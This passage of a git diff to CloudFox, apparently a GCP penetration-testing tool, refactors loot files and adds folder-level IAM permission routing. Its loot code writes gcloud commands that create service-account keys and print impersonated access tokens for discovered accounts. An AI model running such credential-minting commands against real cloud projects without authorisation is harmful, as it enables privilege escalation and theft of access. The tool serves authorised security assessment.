diagramservice "github.com/BishopFox/cloudfox/gcp/services/diagramService"
|
||||
loadbalancerservice "github.com/BishopFox/cloudfox/gcp/services/loadbalancerService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
@@ -167,7 +168,7 @@ func (m *LoadBalancersModule) addToLoot(projectID string, lb loadbalancerservice
|
||||
return
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"## Load Balancer: %s (Project: %s)\n"+
|
||||
"#### Load Balancer: %s (Project: %s)\n"+
|
||||
"# Type: %s, Scheme: %s, IP: %s, Port: %s\n\n",
|
||||
lb.Name, lb.ProjectID, lb.Type, lb.Scheme, lb.IPAddress, lb.Port)
|
||||
|
||||
@@ -241,9 +242,27 @@ func (m *LoadBalancersModule) generateLoadBalancerDiagram() string {
|
||||
return ""
|
||||
}
|
||||
|
||||
// Build a map of backend service name -> actual backends (instance groups, NEGs)
|
||||
backendDetailsMap := make(map[string][]string)
|
||||
for _, backends := range m.ProjectBackendServices {
|
||||
for _, be := range backends {
|
||||
if len(be.Backends) > 0 {
|
||||
backendDetailsMap[be.Name] = be.Backends
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Convert to diagram service types
|
||||
diagramLBs := make([]diagramservice.LoadBalancerInfo, 0, len(allLBs))
|
||||
for _, lb := range allLBs {
|
||||
// Build backend details for this LB
|
||||
lbBackendDetails := make(map[string][]string)
|
||||
for _, beSvc := range lb.BackendServices {
|
||||
if targets, ok := backendDetailsMap[beSvc]; ok {
|
||||
lbBackendDetails[beSvc] = targets
|
||||
}
|
||||
}
|
||||
|
||||
diagramLBs = append(diagramLBs, diagramservice.LoadBalancerInfo{
|
||||
Name: lb.Name,
|
||||
Type: lb.Type,
|
||||
@@ -253,6 +272,7 @@ func (m *LoadBalancersModule) generateLoadBalancerDiagram() string {
|
||||
Region: lb.Region,
|
||||
BackendServices: lb.BackendServices,
|
||||
SecurityPolicy: lb.SecurityPolicy,
|
||||
BackendDetails: lbBackendDetails,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -360,7 +380,7 @@ func (m *LoadBalancersModule) buildTablesForProject(projectID string) []internal
|
||||
|
||||
if lbs, ok := m.ProjectLoadBalancers[projectID]; ok && len(lbs) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "load-balancers",
|
||||
Name: "load-balancers-frontends",
|
||||
Header: m.getLBHeader(),
|
||||
Body: m.lbsToTableBody(lbs),
|
||||
})
|
||||
@@ -376,7 +396,7 @@ func (m *LoadBalancersModule) buildTablesForProject(projectID string) []internal
|
||||
|
||||
if services, ok := m.ProjectBackendServices[projectID]; ok && len(services) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "backend-services",
|
||||
Name: "load-balancers-backend-services",
|
||||
Header: m.getBackendHeader(),
|
||||
Body: m.backendServicesToTableBody(services),
|
||||
})
|
||||
@@ -435,7 +455,7 @@ func (m *LoadBalancersModule) writeFlatOutput(ctx context.Context, logger intern
|
||||
|
||||
if len(allLBs) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "load-balancers",
|
||||
Name: "load-balancers-frontends",
|
||||
Header: m.getLBHeader(),
|
||||
Body: m.lbsToTableBody(allLBs),
|
||||
})
|
||||
@@ -451,7 +471,7 @@ func (m *LoadBalancersModule) writeFlatOutput(ctx context.Context, logger intern
|
||||
|
||||
if len(allBackends) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "backend-services",
|
||||
Name: "load-balancers-backend-services",
|
||||
Header: m.getBackendHeader(),
|
||||
Body: m.backendServicesToTableBody(allBackends),
|
||||
})
|
||||
|
||||
Regular → Executable
+137
-19
@@ -94,6 +94,8 @@ func (m *OrganizationsModule) Execute(ctx context.Context, logger internal.Logge
|
||||
m.Organizations = append(m.Organizations, orgsservice.OrganizationInfo{
|
||||
Name: org.Name,
|
||||
DisplayName: org.DisplayName,
|
||||
DirectoryID: org.DirectoryID,
|
||||
State: org.State,
|
||||
})
|
||||
}
|
||||
for _, folder := range orgCache.Folders {
|
||||
@@ -101,6 +103,7 @@ func (m *OrganizationsModule) Execute(ctx context.Context, logger internal.Logge
|
||||
Name: folder.Name,
|
||||
DisplayName: folder.DisplayName,
|
||||
Parent: folder.Parent,
|
||||
State: folder.State,
|
||||
})
|
||||
}
|
||||
for _, project := range orgCache.AllProjects {
|
||||
@@ -124,6 +127,8 @@ func (m *OrganizationsModule) Execute(ctx context.Context, logger internal.Logge
|
||||
m.Organizations = append(m.Organizations, orgsservice.OrganizationInfo{
|
||||
Name: org.Name,
|
||||
DisplayName: org.DisplayName,
|
||||
DirectoryID: org.DirectoryID,
|
||||
State: org.State,
|
||||
})
|
||||
}
|
||||
for _, folder := range diskCache.Folders {
|
||||
@@ -131,6 +136,7 @@ func (m *OrganizationsModule) Execute(ctx context.Context, logger internal.Logge
|
||||
Name: folder.Name,
|
||||
DisplayName: folder.DisplayName,
|
||||
Parent: folder.Parent,
|
||||
State: folder.State,
|
||||
})
|
||||
}
|
||||
for _, project := range diskCache.AllProjects {
|
||||
@@ -200,16 +206,20 @@ func (m *OrganizationsModule) Execute(ctx context.Context, logger internal.Logge
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *OrganizationsModule) initializeLootFiles() {
|
||||
m.LootMap["organizations-commands"] = &internal.LootFile{
|
||||
Name: "organizations-commands",
|
||||
m.LootMap["org-commands"] = &internal.LootFile{
|
||||
Name: "org-commands",
|
||||
Contents: "# GCP Organization Commands\n# Generated by CloudFox\n\n",
|
||||
}
|
||||
m.LootMap["organizations-map"] = &internal.LootFile{
|
||||
Name: "organizations-map",
|
||||
m.LootMap["org-map"] = &internal.LootFile{
|
||||
Name: "org-map",
|
||||
Contents: "",
|
||||
}
|
||||
m.LootMap["organizations-tree"] = &internal.LootFile{
|
||||
Name: "organizations-tree",
|
||||
m.LootMap["org-tree"] = &internal.LootFile{
|
||||
Name: "org-tree",
|
||||
Contents: "",
|
||||
}
|
||||
m.LootMap["org-scope-hierarchy"] = &internal.LootFile{
|
||||
Name: "org-scope-hierarchy",
|
||||
Contents: "",
|
||||
}
|
||||
}
|
||||
@@ -221,14 +231,17 @@ func (m *OrganizationsModule) generateLoot() {
|
||||
// Generate standard ASCII tree view
|
||||
m.generateTextTreeView()
|
||||
|
||||
// Generate linear hierarchy for scoped projects only
|
||||
m.generateScopeHierarchy()
|
||||
|
||||
// Gcloud commands for organizations
|
||||
m.LootMap["organizations-commands"].Contents += "# ==========================================\n"
|
||||
m.LootMap["organizations-commands"].Contents += "# ORGANIZATION COMMANDS\n"
|
||||
m.LootMap["organizations-commands"].Contents += "# ==========================================\n\n"
|
||||
m.LootMap["org-commands"].Contents += "# ==========================================\n"
|
||||
m.LootMap["org-commands"].Contents += "# ORGANIZATION COMMANDS\n"
|
||||
m.LootMap["org-commands"].Contents += "# ==========================================\n\n"
|
||||
|
||||
for _, org := range m.Organizations {
|
||||
orgID := strings.TrimPrefix(org.Name, "organizations/")
|
||||
m.LootMap["organizations-commands"].Contents += fmt.Sprintf(
|
||||
m.LootMap["org-commands"].Contents += fmt.Sprintf(
|
||||
"## Organization: %s (%s)\n"+
|
||||
"gcloud organizations describe %s\n"+
|
||||
"gcloud organizations get-iam-policy %s\n"+
|
||||
@@ -244,13 +257,13 @@ func (m *OrganizationsModule) generateLoot() {
|
||||
|
||||
// Gcloud commands for folders
|
||||
if len(m.Folders) > 0 {
|
||||
m.LootMap["organizations-commands"].Contents += "# ==========================================\n"
|
||||
m.LootMap["organizations-commands"].Contents += "# FOLDER COMMANDS\n"
|
||||
m.LootMap["organizations-commands"].Contents += "# ==========================================\n\n"
|
||||
m.LootMap["org-commands"].Contents += "# ==========================================\n"
|
||||
m.LootMap["org-commands"].Contents += "# FOLDER COMMANDS\n"
|
||||
m.LootMap["org-commands"].Contents += "# ==========================================\n\n"
|
||||
|
||||
for _, folder := range m.Folders {
|
||||
folderID := strings.TrimPrefix(folder.Name, "folders/")
|
||||
m.LootMap["organizations-commands"].Contents += fmt.Sprintf(
|
||||
m.LootMap["org-commands"].Contents += fmt.Sprintf(
|
||||
"## Folder: %s (%s)\n"+
|
||||
"gcloud resource-manager folders describe %s\n"+
|
||||
"gcloud resource-manager folders get-iam-policy %s\n"+
|
||||
@@ -268,7 +281,7 @@ func (m *OrganizationsModule) generateLoot() {
|
||||
|
||||
// generateMarkdownTreeView creates a beautified expandable markdown tree of the organization hierarchy
|
||||
func (m *OrganizationsModule) generateMarkdownTreeView() {
|
||||
tree := &m.LootMap["organizations-map"].Contents
|
||||
tree := &m.LootMap["org-map"].Contents
|
||||
|
||||
*tree += "# GCP Organization Hierarchy\n\n"
|
||||
|
||||
@@ -362,7 +375,7 @@ func (m *OrganizationsModule) addFolderToMarkdownTree(tree *string, folder orgss
|
||||
|
||||
// generateTextTreeView creates a standard ASCII tree of the organization hierarchy
|
||||
func (m *OrganizationsModule) generateTextTreeView() {
|
||||
tree := &m.LootMap["organizations-tree"].Contents
|
||||
tree := &m.LootMap["org-tree"].Contents
|
||||
|
||||
for _, org := range m.Organizations {
|
||||
orgID := strings.TrimPrefix(org.Name, "organizations/")
|
||||
@@ -475,6 +488,102 @@ func (m *OrganizationsModule) addFolderToTextTree(tree *string, folder orgsservi
|
||||
}
|
||||
}
|
||||
|
||||
// generateScopeHierarchy creates a linear hierarchy view for only the projects in scope (-p or -l)
|
||||
func (m *OrganizationsModule) generateScopeHierarchy() {
|
||||
hierarchy := &m.LootMap["org-scope-hierarchy"].Contents
|
||||
|
||||
*hierarchy = "# GCP Scope Hierarchy\n"
|
||||
*hierarchy += "# Linear hierarchy paths for projects in scope\n"
|
||||
*hierarchy += "# Generated by CloudFox\n\n"
|
||||
|
||||
if len(m.ProjectIDs) == 0 {
|
||||
*hierarchy += "No projects in scope.\n"
|
||||
return
|
||||
}
|
||||
|
||||
// For each project in scope, show its full hierarchy path
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
// Find the project info
|
||||
var projectInfo *orgsservice.ProjectInfo
|
||||
for i := range m.Projects {
|
||||
if m.Projects[i].ProjectID == projectID {
|
||||
projectInfo = &m.Projects[i]
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if projectInfo == nil {
|
||||
*hierarchy += fmt.Sprintf("Project: %s (not found in hierarchy)\n\n", projectID)
|
||||
continue
|
||||
}
|
||||
|
||||
// Build the hierarchy path from project up to org
|
||||
path := m.buildHierarchyPath(projectInfo)
|
||||
|
||||
// Output the linear path
|
||||
projectName := projectInfo.DisplayName
|
||||
if projectName == "" {
|
||||
projectName = projectID
|
||||
}
|
||||
|
||||
*hierarchy += fmt.Sprintf("## %s (%s)\n", projectName, projectID)
|
||||
|
||||
// Show path from org down to project
|
||||
for i, node := range path {
|
||||
indent := strings.Repeat(" ", i)
|
||||
*hierarchy += fmt.Sprintf("%s%s\n", indent, node)
|
||||
}
|
||||
*hierarchy += "\n"
|
||||
}
|
||||
}
|
||||
|
||||
// buildHierarchyPath builds the hierarchy path from org down to project
|
||||
func (m *OrganizationsModule) buildHierarchyPath(project *orgsservice.ProjectInfo) []string {
|
||||
var path []string
|
||||
|
||||
// Start from the project and work up
|
||||
var reversePath []string
|
||||
|
||||
// Add project
|
||||
projectName := project.DisplayName
|
||||
if projectName == "" {
|
||||
projectName = project.ProjectID
|
||||
}
|
||||
reversePath = append(reversePath, fmt.Sprintf("└── Project: %s (%s)", projectName, project.ProjectID))
|
||||
|
||||
// Traverse up the hierarchy
|
||||
currentParent := project.Parent
|
||||
for currentParent != "" {
|
||||
if strings.HasPrefix(currentParent, "folders/") {
|
||||
folderID := strings.TrimPrefix(currentParent, "folders/")
|
||||
folderName := m.getFolderName(folderID)
|
||||
reversePath = append(reversePath, fmt.Sprintf("└── Folder: %s (%s)", folderName, folderID))
|
||||
|
||||
// Find the folder's parent
|
||||
for _, folder := range m.Folders {
|
||||
if folder.Name == currentParent {
|
||||
currentParent = folder.Parent
|
||||
break
|
||||
}
|
||||
}
|
||||
} else if strings.HasPrefix(currentParent, "organizations/") {
|
||||
orgID := strings.TrimPrefix(currentParent, "organizations/")
|
||||
orgName := m.getOrgName(orgID)
|
||||
reversePath = append(reversePath, fmt.Sprintf("Organization: %s (%s)", orgName, orgID))
|
||||
break
|
||||
} else {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// Reverse to get org -> folder -> project order
|
||||
for i := len(reversePath) - 1; i >= 0; i-- {
|
||||
path = append(path, reversePath[i])
|
||||
}
|
||||
|
||||
return path
|
||||
}
|
||||
|
||||
// getChildFolders returns folders that are direct children of the given parent
|
||||
func (m *OrganizationsModule) getChildFolders(parentName string) []orgsservice.FolderInfo {
|
||||
var children []orgsservice.FolderInfo
|
||||
@@ -548,6 +657,8 @@ func (m *OrganizationsModule) saveToOrgCache(logger internal.Logger) {
|
||||
ID: orgID,
|
||||
Name: org.Name,
|
||||
DisplayName: org.DisplayName,
|
||||
DirectoryID: org.DirectoryID,
|
||||
State: org.State,
|
||||
})
|
||||
}
|
||||
for _, folder := range m.Folders {
|
||||
@@ -557,11 +668,18 @@ func (m *OrganizationsModule) saveToOrgCache(logger internal.Logger) {
|
||||
Name: folder.Name,
|
||||
DisplayName: folder.DisplayName,
|
||||
Parent: folder.Parent,
|
||||
State: folder.State,
|
||||
})
|
||||
}
|
||||
for _, project := range m.Projects {
|
||||
// Extract project number from Name (format: "projects/123456789")
|
||||
projectNumber := ""
|
||||
if strings.HasPrefix(project.Name, "projects/") {
|
||||
projectNumber = strings.TrimPrefix(project.Name, "projects/")
|
||||
}
|
||||
cache.AddProject(gcpinternal.CachedProject{
|
||||
ID: project.ProjectID,
|
||||
Number: projectNumber,
|
||||
Name: project.Name,
|
||||
DisplayName: project.DisplayName,
|
||||
Parent: project.Parent,
|
||||
@@ -711,7 +829,7 @@ func (m *OrganizationsModule) buildTables() []internal.TableFile {
|
||||
|
||||
if len(foldersBody) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "folders",
|
||||
Name: "org-folders",
|
||||
Header: foldersHeader,
|
||||
Body: foldersBody,
|
||||
})
|
||||
@@ -719,7 +837,7 @@ func (m *OrganizationsModule) buildTables() []internal.TableFile {
|
||||
|
||||
if len(projectsBody) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "projects",
|
||||
Name: "org-projects",
|
||||
Header: projectsHeader,
|
||||
Body: projectsBody,
|
||||
})
|
||||
@@ -727,7 +845,7 @@ func (m *OrganizationsModule) buildTables() []internal.TableFile {
|
||||
|
||||
if len(ancestryBody) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "ancestry",
|
||||
Name: "org-ancestry",
|
||||
Header: ancestryHeader,
|
||||
Body: ancestryBody,
|
||||
})
|
||||
|
||||
Regular → Executable
+384
-104
@@ -96,13 +96,20 @@ type PermissionsModule struct {
|
||||
// Module-specific fields - now per-project for hierarchical output
|
||||
ProjectPerms map[string][]ExplodedPermission // projectID -> permissions
|
||||
OrgPerms map[string][]ExplodedPermission // orgID -> org-level permissions
|
||||
FolderPerms map[string][]ExplodedPermission // folderID -> folder-level permissions
|
||||
EntityPermissions []IAMService.EntityPermissions // Legacy: aggregated for stats
|
||||
GroupInfos []IAMService.GroupInfo // Legacy: aggregated for stats
|
||||
OrgBindings []IAMService.PolicyBinding // org-level bindings
|
||||
FolderBindings map[string][]IAMService.PolicyBinding // folder-level bindings
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
EnumLoot *internal.LootFile // permissions-enumeration loot file
|
||||
mu sync.Mutex
|
||||
|
||||
// Per-scope loot files for inheritance-aware output
|
||||
OrgLoot map[string]*internal.LootFile // orgID -> loot commands for org-level bindings
|
||||
FolderLoot map[string]*internal.LootFile // folderID -> loot commands for folder-level bindings
|
||||
ProjectLoot map[string]*internal.LootFile // projectID -> loot commands for project-level bindings
|
||||
EnumLoot *internal.LootFile // permissions-enumeration loot file
|
||||
|
||||
OrgCache *gcpinternal.OrgCache // OrgCache for hierarchy lookups
|
||||
mu sync.Mutex
|
||||
|
||||
// Organization info for output path
|
||||
OrgIDs []string
|
||||
@@ -133,11 +140,14 @@ func runGCPPermissionsCommand(cmd *cobra.Command, args []string) {
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectPerms: make(map[string][]ExplodedPermission),
|
||||
OrgPerms: make(map[string][]ExplodedPermission),
|
||||
FolderPerms: make(map[string][]ExplodedPermission),
|
||||
EntityPermissions: []IAMService.EntityPermissions{},
|
||||
GroupInfos: []IAMService.GroupInfo{},
|
||||
OrgBindings: []IAMService.PolicyBinding{},
|
||||
FolderBindings: make(map[string][]IAMService.PolicyBinding),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
OrgLoot: make(map[string]*internal.LootFile),
|
||||
FolderLoot: make(map[string]*internal.LootFile),
|
||||
ProjectLoot: make(map[string]*internal.LootFile),
|
||||
OrgIDs: []string{},
|
||||
OrgNames: make(map[string]string),
|
||||
EnumLoot: &internal.LootFile{Name: "permissions-enumeration", Contents: ""},
|
||||
@@ -156,6 +166,9 @@ func (m *PermissionsModule) Execute(ctx context.Context, logger internal.Logger)
|
||||
logger.InfoM("Enumerating ALL permissions with full inheritance explosion...", globals.GCP_PERMISSIONS_MODULE_NAME)
|
||||
logger.InfoM("This includes organization, folder, and project-level bindings", globals.GCP_PERMISSIONS_MODULE_NAME)
|
||||
|
||||
// Get OrgCache for hierarchy lookups (used for inheritance-aware routing)
|
||||
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
|
||||
|
||||
// First, try to enumerate organization-level bindings
|
||||
m.enumerateOrganizationBindings(ctx, logger)
|
||||
|
||||
@@ -222,6 +235,9 @@ func (m *PermissionsModule) getAllExplodedPerms() []ExplodedPermission {
|
||||
for _, perms := range m.OrgPerms {
|
||||
all = append(all, perms...)
|
||||
}
|
||||
for _, perms := range m.FolderPerms {
|
||||
all = append(all, perms...)
|
||||
}
|
||||
for _, perms := range m.ProjectPerms {
|
||||
all = append(all, perms...)
|
||||
}
|
||||
@@ -318,6 +334,7 @@ func (m *PermissionsModule) processProject(ctx context.Context, projectID string
|
||||
|
||||
var projectPerms []ExplodedPermission
|
||||
var orgPerms []ExplodedPermission
|
||||
var folderPerms []ExplodedPermission
|
||||
|
||||
for _, ep := range entityPerms {
|
||||
for _, perm := range ep.Permissions {
|
||||
@@ -350,23 +367,20 @@ func (m *PermissionsModule) processProject(ctx context.Context, projectID string
|
||||
|
||||
// Detect cross-project access
|
||||
if ep.EntityType == "ServiceAccount" {
|
||||
parts := strings.Split(ep.Email, "@")
|
||||
if len(parts) == 2 {
|
||||
saParts := strings.Split(parts[1], ".")
|
||||
if len(saParts) >= 1 {
|
||||
saProject := saParts[0]
|
||||
if saProject != projectID {
|
||||
exploded.IsCrossProject = true
|
||||
exploded.SourceProject = saProject
|
||||
}
|
||||
}
|
||||
saProject := extractProjectFromPrincipal(ep.Email, m.OrgCache)
|
||||
if saProject != "" && saProject != projectID {
|
||||
exploded.IsCrossProject = true
|
||||
exploded.SourceProject = saProject
|
||||
}
|
||||
}
|
||||
|
||||
// Route to appropriate scope: org-level permissions go to org, rest to project
|
||||
if perm.ResourceType == "organization" {
|
||||
// Route to appropriate scope: org, folder, or project
|
||||
switch perm.ResourceType {
|
||||
case "organization":
|
||||
orgPerms = append(orgPerms, exploded)
|
||||
} else {
|
||||
case "folder":
|
||||
folderPerms = append(folderPerms, exploded)
|
||||
default:
|
||||
projectPerms = append(projectPerms, exploded)
|
||||
}
|
||||
}
|
||||
@@ -381,20 +395,27 @@ func (m *PermissionsModule) processProject(ctx context.Context, projectID string
|
||||
m.OrgPerms[ep.ResourceScopeID] = append(m.OrgPerms[ep.ResourceScopeID], ep)
|
||||
}
|
||||
|
||||
// Store folder-level permissions (keyed by folder ID)
|
||||
for _, ep := range folderPerms {
|
||||
m.FolderPerms[ep.ResourceScopeID] = append(m.FolderPerms[ep.ResourceScopeID], ep)
|
||||
}
|
||||
|
||||
// Legacy aggregated fields for stats
|
||||
m.EntityPermissions = append(m.EntityPermissions, entityPerms...)
|
||||
m.GroupInfos = append(m.GroupInfos, groupInfos...)
|
||||
|
||||
// Generate loot per-project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["permissions-commands"] = &internal.LootFile{
|
||||
Name: "permissions-commands",
|
||||
Contents: "# GCP Permissions Commands\n# Generated by CloudFox\n\n",
|
||||
// Generate loot per-scope based on exploded permissions
|
||||
// We use a set to track which service accounts we've already added per scope
|
||||
addedSAsOrg := make(map[string]map[string]bool) // orgID -> email -> added
|
||||
addedSAsFolder := make(map[string]map[string]bool) // folderID -> email -> added
|
||||
addedSAsProject := make(map[string]map[string]bool) // projectID -> email -> added
|
||||
|
||||
allPerms := append(append(projectPerms, orgPerms...), folderPerms...)
|
||||
for _, ep := range allPerms {
|
||||
if ep.EntityType != "ServiceAccount" {
|
||||
continue
|
||||
}
|
||||
}
|
||||
for _, ep := range entityPerms {
|
||||
m.addEntityToLoot(projectID, ep)
|
||||
m.addPermissionToLoot(ep, addedSAsOrg, addedSAsFolder, addedSAsProject)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
@@ -437,55 +458,111 @@ func parseConditionTitle(condition string) string {
|
||||
// ------------------------------
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *PermissionsModule) addEntityToLoot(projectID string, ep IAMService.EntityPermissions) {
|
||||
// Only add service accounts with high-privilege permissions
|
||||
hasHighPriv := false
|
||||
var highPrivPerms []string
|
||||
|
||||
for _, perm := range ep.Permissions {
|
||||
if isHighPrivilegePermission(perm.Permission) {
|
||||
hasHighPriv = true
|
||||
highPrivPerms = append(highPrivPerms, perm.Permission)
|
||||
// addPermissionToLoot adds a service account to the appropriate scope-based loot file.
|
||||
// It tracks which SAs have been added per scope to avoid duplicates.
|
||||
func (m *PermissionsModule) addPermissionToLoot(ep ExplodedPermission,
|
||||
addedSAsOrg map[string]map[string]bool,
|
||||
addedSAsFolder map[string]map[string]bool,
|
||||
addedSAsProject map[string]map[string]bool) {
|
||||
|
||||
if ep.EntityType != "ServiceAccount" {
|
||||
return
|
||||
}
|
||||
|
||||
scopeType := ep.ResourceScopeType
|
||||
scopeID := ep.ResourceScopeID
|
||||
email := ep.EntityEmail
|
||||
|
||||
// Determine which loot file and tracking map to use
|
||||
var lootFile *internal.LootFile
|
||||
var addedSet map[string]bool
|
||||
|
||||
switch scopeType {
|
||||
case "organization":
|
||||
if m.OrgLoot[scopeID] == nil {
|
||||
m.OrgLoot[scopeID] = &internal.LootFile{
|
||||
Name: "permissions-commands",
|
||||
Contents: "# GCP Permissions Commands (Organization Level)\n# Generated by CloudFox\n\n",
|
||||
}
|
||||
}
|
||||
lootFile = m.OrgLoot[scopeID]
|
||||
if addedSAsOrg[scopeID] == nil {
|
||||
addedSAsOrg[scopeID] = make(map[string]bool)
|
||||
}
|
||||
addedSet = addedSAsOrg[scopeID]
|
||||
|
||||
case "folder":
|
||||
if m.FolderLoot[scopeID] == nil {
|
||||
m.FolderLoot[scopeID] = &internal.LootFile{
|
||||
Name: "permissions-commands",
|
||||
Contents: "# GCP Permissions Commands (Folder Level)\n# Generated by CloudFox\n\n",
|
||||
}
|
||||
}
|
||||
lootFile = m.FolderLoot[scopeID]
|
||||
if addedSAsFolder[scopeID] == nil {
|
||||
addedSAsFolder[scopeID] = make(map[string]bool)
|
||||
}
|
||||
addedSet = addedSAsFolder[scopeID]
|
||||
|
||||
default: // project
|
||||
if m.ProjectLoot[scopeID] == nil {
|
||||
m.ProjectLoot[scopeID] = &internal.LootFile{
|
||||
Name: "permissions-commands",
|
||||
Contents: "# GCP Permissions Commands (Project Level)\n# Generated by CloudFox\n\n",
|
||||
}
|
||||
}
|
||||
lootFile = m.ProjectLoot[scopeID]
|
||||
if addedSAsProject[scopeID] == nil {
|
||||
addedSAsProject[scopeID] = make(map[string]bool)
|
||||
}
|
||||
addedSet = addedSAsProject[scopeID]
|
||||
}
|
||||
|
||||
// Skip if already added to this scope
|
||||
if addedSet[email] {
|
||||
return
|
||||
}
|
||||
addedSet[email] = true
|
||||
|
||||
// Extract project from SA email for commands
|
||||
saProject := ep.EffectiveProject
|
||||
if saProject == "" {
|
||||
// Try to extract from email
|
||||
parts := strings.Split(email, "@")
|
||||
if len(parts) == 2 {
|
||||
saParts := strings.Split(parts[1], ".")
|
||||
if len(saParts) >= 1 {
|
||||
saProject = saParts[0]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ep.EntityType == "ServiceAccount" {
|
||||
lootFile := m.LootMap[projectID]["permissions-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if hasHighPriv {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Service Account: %s [HIGH PRIVILEGE]\n"+
|
||||
"# High-privilege permissions: %s\n"+
|
||||
"# Roles: %s\n",
|
||||
ep.Email,
|
||||
strings.Join(highPrivPerms, ", "),
|
||||
strings.Join(ep.Roles, ", "),
|
||||
)
|
||||
} else {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Service Account: %s\n"+
|
||||
"# Roles: %s\n",
|
||||
ep.Email,
|
||||
strings.Join(ep.Roles, ", "),
|
||||
)
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"gcloud iam service-accounts describe %s --project=%s\n"+
|
||||
"gcloud iam service-accounts keys list --iam-account=%s --project=%s\n"+
|
||||
"gcloud iam service-accounts get-iam-policy %s --project=%s\n"+
|
||||
"gcloud iam service-accounts keys create ./key.json --iam-account=%s --project=%s\n"+
|
||||
"gcloud auth print-access-token --impersonate-service-account=%s\n\n",
|
||||
ep.Email, ep.ProjectID,
|
||||
ep.Email, ep.ProjectID,
|
||||
ep.Email, ep.ProjectID,
|
||||
ep.Email, ep.ProjectID,
|
||||
ep.Email,
|
||||
)
|
||||
// Add service account commands
|
||||
highPriv := ""
|
||||
if ep.IsHighPrivilege {
|
||||
highPriv = " [HIGH PRIVILEGE]"
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Service Account: %s%s\n"+
|
||||
"# Role: %s (at %s/%s)\n",
|
||||
email, highPriv,
|
||||
ep.Role, scopeType, scopeID,
|
||||
)
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"gcloud iam service-accounts describe %s --project=%s\n"+
|
||||
"gcloud iam service-accounts keys list --iam-account=%s --project=%s\n"+
|
||||
"gcloud iam service-accounts get-iam-policy %s --project=%s\n"+
|
||||
"gcloud iam service-accounts keys create ./key.json --iam-account=%s --project=%s\n"+
|
||||
"gcloud auth print-access-token --impersonate-service-account=%s\n\n",
|
||||
email, saProject,
|
||||
email, saProject,
|
||||
email, saProject,
|
||||
email, saProject,
|
||||
email,
|
||||
)
|
||||
}
|
||||
|
||||
// isHighPrivilegePermission checks if a permission is considered high-privilege
|
||||
@@ -505,6 +582,134 @@ func (m *PermissionsModule) initializeEnumerationLoot() {
|
||||
m.EnumLoot.Contents += "# Use these commands to enumerate entities, roles, and permissions\n\n"
|
||||
}
|
||||
|
||||
// collectAllLootFiles collects all loot files for org-level output (all scopes combined)
|
||||
func (m *PermissionsModule) collectAllLootFiles() []internal.LootFile {
|
||||
var lootFiles []internal.LootFile
|
||||
|
||||
// Combine all org, folder, and project loot into one file for org-level output
|
||||
combinedLoot := &internal.LootFile{
|
||||
Name: "permissions-commands",
|
||||
Contents: "# GCP Permissions Commands (All Scopes)\n# Generated by CloudFox\n\n",
|
||||
}
|
||||
|
||||
// Add org-level loot
|
||||
for orgID, loot := range m.OrgLoot {
|
||||
if loot != nil && loot.Contents != "" {
|
||||
combinedLoot.Contents += fmt.Sprintf("# === Organization: %s ===\n", orgID)
|
||||
// Skip the header line from the individual loot
|
||||
lines := strings.Split(loot.Contents, "\n")
|
||||
for i, line := range lines {
|
||||
if i >= 2 { // Skip first 2 header lines
|
||||
combinedLoot.Contents += line + "\n"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add folder-level loot
|
||||
for folderID, loot := range m.FolderLoot {
|
||||
if loot != nil && loot.Contents != "" {
|
||||
combinedLoot.Contents += fmt.Sprintf("# === Folder: %s ===\n", folderID)
|
||||
lines := strings.Split(loot.Contents, "\n")
|
||||
for i, line := range lines {
|
||||
if i >= 2 {
|
||||
combinedLoot.Contents += line + "\n"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add project-level loot
|
||||
for projectID, loot := range m.ProjectLoot {
|
||||
if loot != nil && loot.Contents != "" {
|
||||
combinedLoot.Contents += fmt.Sprintf("# === Project: %s ===\n", projectID)
|
||||
lines := strings.Split(loot.Contents, "\n")
|
||||
for i, line := range lines {
|
||||
if i >= 2 {
|
||||
combinedLoot.Contents += line + "\n"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Only add if there's actual content beyond the header
|
||||
if len(combinedLoot.Contents) > 60 { // More than just the header
|
||||
lootFiles = append(lootFiles, *combinedLoot)
|
||||
}
|
||||
|
||||
// Add enumeration loot file
|
||||
if m.EnumLoot != nil && m.EnumLoot.Contents != "" {
|
||||
lootFiles = append(lootFiles, *m.EnumLoot)
|
||||
}
|
||||
|
||||
return lootFiles
|
||||
}
|
||||
|
||||
// collectLootFilesForProject collects loot files for a specific project with inheritance.
|
||||
// This includes: org-level loot + ancestor folder loot + project-level loot
|
||||
